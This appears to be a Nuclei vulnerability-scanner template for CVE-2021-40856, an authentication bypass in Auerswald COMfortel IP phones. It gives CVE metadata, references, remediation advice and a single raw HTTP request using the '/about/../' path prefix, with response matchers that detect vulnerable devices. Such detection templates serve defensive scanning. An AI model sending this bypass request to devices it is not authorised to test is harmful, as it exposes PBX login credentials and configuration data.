54 lines
2.0 KiB
YAML
54 lines
2.0 KiB
YAML
id: CVE-2021-40856
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info:
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name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
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author: gy741
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severity: high
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description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
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remediation: |
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Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40856
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- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
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- https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
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- http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-40856
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cwe-id: CWE-706
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epss-score: 0.02537
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epss-percentile: 0.8902
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cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: auerswald
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product: comfortel_3600_ip_firmware
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tags: packetstorm,cve,cve2021,comfortel,auth-bypass,auerswald
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http:
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- raw:
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- |
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GET /about/../tree?action=get HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"TYPE"'
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- '"ITEMS"'
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- '"COUNT"'
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condition: and
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- type: word
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part: header
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words:
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- application/json
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100aedeaf9f6e055c12ce089ab248a9b89213e4566ff14753ef3adbd19d5ffda8e9022100b2fef2e34c7804434056a7ae957062d02aa7e9560f4c2ab3f0fbfd3c0d611ecd:922c64590222798bb761d5b6d8e72950 |